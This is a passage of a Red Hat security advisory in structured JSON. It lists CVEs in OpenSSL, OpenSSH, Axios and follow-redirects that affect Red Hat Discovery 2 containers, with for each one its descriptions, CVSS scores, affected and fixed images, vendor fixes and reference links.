      "release_date": "2026-04-07T22:00:54.172000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-05-07T21:30:41+00:00",
          "details": "The containers required to run Discovery can be installed through discovery-installer\nRPM. See the official documentation for more details.",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
          ],
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            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:14937"
        },
        {
          "category": "workaround",
          "details": "Applications that process Cryptographic Message Syntax (CMS) EnvelopedData messages should be configured to only accept input from trusted sources. Restricting network access to services that process untrusted CMS data can also reduce exposure to this Denial of Service vulnerability.",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
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            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ]
        }
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      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
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            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ]
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        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in CMS EnvelopedData processing"
    },
    {
      "cve": "CVE-2026-35385",
      "cwe": {
        "id": "CWE-281",
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      },
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          "system_name": "Red Hat Bugzilla ID",
          "text": "2454469"
        }
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        {
          "category": "description",
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          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "OpenSSH: OpenSSH: Privilege escalation via scp legacy protocol when not preserving file mode",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
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        },
        {
          "category": "external",
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          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35385"
        },
        {
          "category": "external",
          "summary": "https://marc.info/?l=openssh-unix-dev\u0026m=177513443901484\u0026w=2",
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        },
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          "category": "external",
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      ],
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            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
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            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
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            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
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            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
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      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "OpenSSH: OpenSSH: Privilege escalation via scp legacy protocol when not preserving file mode"
    },
    {
      "cve": "CVE-2026-35386",
      "cwe": {
        "id": "CWE-78",
        "name": "Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)"
      },
      "discovery_date": "2026-04-02T18:02:24.149353+00:00",
      "flags": [
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          "label": "vulnerable_code_not_present",
          "product_ids": [
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        {
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          "text": "2454506"
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        {
          "category": "description",
          "text": "A flaw was found in OpenSSH. This vulnerability allows a remote attacker to achieve arbitrary command execution by injecting shell metacharacters into a username provided on the command line. Exploitation requires an untrusted username and a non-default configuration of the \u0027%\u0027 character in `ssh_config`.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "OpenSSH: OpenSSH: Arbitrary command execution via shell metacharacters in username",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
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        },
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          ],
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            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
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            "baseSeverity": "LOW",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
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            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
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        {
          "category": "impact",
          "details": "Low"
        }
      ],
      "title": "OpenSSH: OpenSSH: Arbitrary command execution via shell metacharacters in username"
    },
    {
      "cve": "CVE-2026-35387",
      "cwe": {
        "id": "CWE-115",
        "name": "Misinterpretation of Input"
      },
      "discovery_date": "2026-04-02T18:01:38.952994+00:00",
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          "label": "vulnerable_code_not_present",
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          "system_name": "Red Hat Bugzilla ID",
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        }
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        {
          "category": "description",
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          "title": "Vulnerability description"
        },
        {
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          "title": "Vulnerability summary"
        },
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          "category": "general",
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          "title": "CVSS score applicability"
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          "category": "external",
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      "cwe": {
        "id": "CWE-306",
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          "title": "Vulnerability description"
        },
        {
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          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
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          "details": "Low"
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    },
    {
      "cve": "CVE-2026-35414",
      "cwe": {
        "id": "CWE-168",
        "name": "Improper Handling of Inconsistent Special Elements"
      },
      "discovery_date": "2026-04-02T18:01:25.983089+00:00",
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          "title": "Vulnerability description"
        },
        {
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          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "The risk posed by this flaw to Red Hat products is limited. The use of SSH certificates is not enabled by default and requires that users opt-in to the feature. Further, when following documented guidance ssh connections should only be permitted to non-root users which will limit the impact of this flaw.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
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            "privilegesRequired": "NONE",
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      "title": "OpenSSH: OpenSSH: Security bypass via mishandling of authorized_keys principals option"
    },
    {
      "cve": "CVE-2026-40175",
      "cwe": {
        "id": "CWE-915",
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      },
      "discovery_date": "2026-04-10T20:02:10.296601+00:00",
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        {
          "category": "description",
          "text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability, known as Prototype Pollution, can be exploited through a specific \"Gadget\" attack chain. This allows an attacker to escalate a Prototype Pollution vulnerability in a third-party dependency, potentially leading to remote code execution or a full cloud compromise, such as bypassing AWS IMDSv2.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: Axios: Remote Code Execution via Prototype Pollution escalation",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "The Axios library, a promise-based HTTP client, is susceptible to an Important prototype pollution vulnerability. This flaw, when combined with specific \"Gadget\" attack chains in third-party dependencies, can lead to remote code execution or full cloud compromise, including bypassing AWS IMDSv2.\n \nWith pollution check patch available in Axios gives an advantage, it remains vulnerable due to HTTP Header Sanitation and Server-Side Request Forgery threat.\n\nRed Hat products that incorporate the vulnerable Axios library are affected.\n\nThe openshift4/ose-monitoring-plugin-rhel9 container image is not vulnerable to this flaw. The affected component is used as a build-time dependency but it\u0027s not shipped in the final product, meaning the flaw is not present thus cannot be exploited in the container deployments.\n\nRegarding openshift4/ose-console for Product stream 4.12 and 4.13, the vulnerable component is present (indirect dependency), but the vulnerability is not exploitable in our case due to the browser runtime, where the required Node.js-specific attack vectors are not available. With this, the impact becomes low.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
        ],
        "known_not_affected": [
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
        ]
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        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-40175"
        },
        {
          "category": "external",
          "summary": "RHBZ#2457432",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2457432"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-40175",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40175"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-40175",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40175"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1",
          "url": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/pull/10660",
          "url": "https://github.com/axios/axios/pull/10660"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/releases/tag/v1.15.0",
          "url": "https://github.com/axios/axios/releases/tag/v1.15.0"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx"
        }
      ],
      "release_date": "2026-04-10T19:23:52.285000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-05-07T21:30:41+00:00",
          "details": "The containers required to run Discovery can be installed through discovery-installer\nRPM. See the official documentation for more details.",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:14937"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.0,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: Axios: Remote Code Execution via Prototype Pollution escalation"
    },
    {
      "cve": "CVE-2026-40895",
      "cwe": {
        "id": "CWE-212",
        "name": "Improper Removal of Sensitive Information Before Storage or Transfer"
      },
      "discovery_date": "2026-04-21T21:02:33.280553+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2460297"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in follow-redirects. When an HTTP request follows a cross-domain redirect (a redirection to a different domain), custom authentication headers, such as X-API-Key or X-Auth-Token, are not properly stripped. This allows these sensitive headers to be forwarded verbatim to the redirect target, potentially leading to the unintended disclosure of authentication information to an untrusted third party.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "follow-redirects: follow-redirects: Information disclosure via cross-domain redirects",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
        ],
        "known_not_affected": [
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-40895"
        },
        {
          "category": "external",
          "summary": "RHBZ#2460297",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460297"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-40895",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40895"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-40895",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40895"
        },
        {
          "category": "external",
          "summary": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653",
          "url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653"
        }
      ],
      "release_date": "2026-04-21T19:59:59.759000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-05-07T21:30:41+00:00",
          "details": "The containers required to run Discovery can be installed through discovery-installer\nRPM. See the official documentation for more details.",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:14937"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "follow-redirects: follow-redirects: Information disclosure via cross-domain redirects"
    },
    {
      "cve": "CVE-2026-42033",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-04-24T18:01:20.937507+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2461607"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Axios, an HTTP client library. This vulnerability allows an attacker to exploit a prototype pollution issue if another part of the application has already polluted the Object.prototype. By doing so, the attacker can intercept and modify JSON responses or take control of the HTTP communication. This could lead to unauthorized access to sensitive information like user credentials and request details.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: Axios: HTTP Transport Hijacking via Prototype Pollution",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
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          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
        ],
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          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-42033"
        },
        {
          "category": "external",
          "summary": "RHBZ#2461607",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461607"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-42033",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42033"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf"
        }
      ],
      "release_date": "2026-04-24T17:36:44.132000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-05-07T21:30:41+00:00",
          "details": "The containers required to run Discovery can be installed through discovery-installer\nRPM. See the official documentation for more details.",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:14937"
        }
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      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
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            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
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          "details": "Important"
        }
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      "title": "axios: Axios: HTTP Transport Hijacking via Prototype Pollution"
    },
    {
      "cve": "CVE-2026-42035",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-04-24T18:01:17.109481+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
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      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2461606"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Axios, a software library for making network requests. A remote attacker can exploit a prototype pollution vulnerability to inject arbitrary HTTP headers into outgoing requests. This occurs when the application\u0027s core object definitions are manipulated, causing Axios to misinterpret data and include attacker-controlled headers in network communications. This could lead to unauthorized actions or data manipulation.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: Axios: Arbitrary HTTP header injection via prototype pollution",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
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          "summary": "Canonical URL",
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        },
        {
          "category": "external",
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          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42035"
        },
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          "summary": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9",
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        }
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      "release_date": "2026-04-24T17:38:07.752000+00:00",
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          "details": "The containers required to run Discovery can be installed through discovery-installer\nRPM. See the official documentation for more details.",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:14937"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "axios: Axios: Arbitrary HTTP header injection via prototype pollution"
    },
    {
      "cve": "CVE-2026-42039",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-04-24T19:01:44.887156+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2461630"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Axios, a promise-based HTTP client for browsers and Node.js. This vulnerability occurs because the `toFormData` function recursively processes nested objects without a depth limit. A remote attacker can exploit this by sending deeply nested request data, which causes the Node.js process to crash due to a RangeError, leading to a potential Denial of Service (DoS) if the process crashes.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
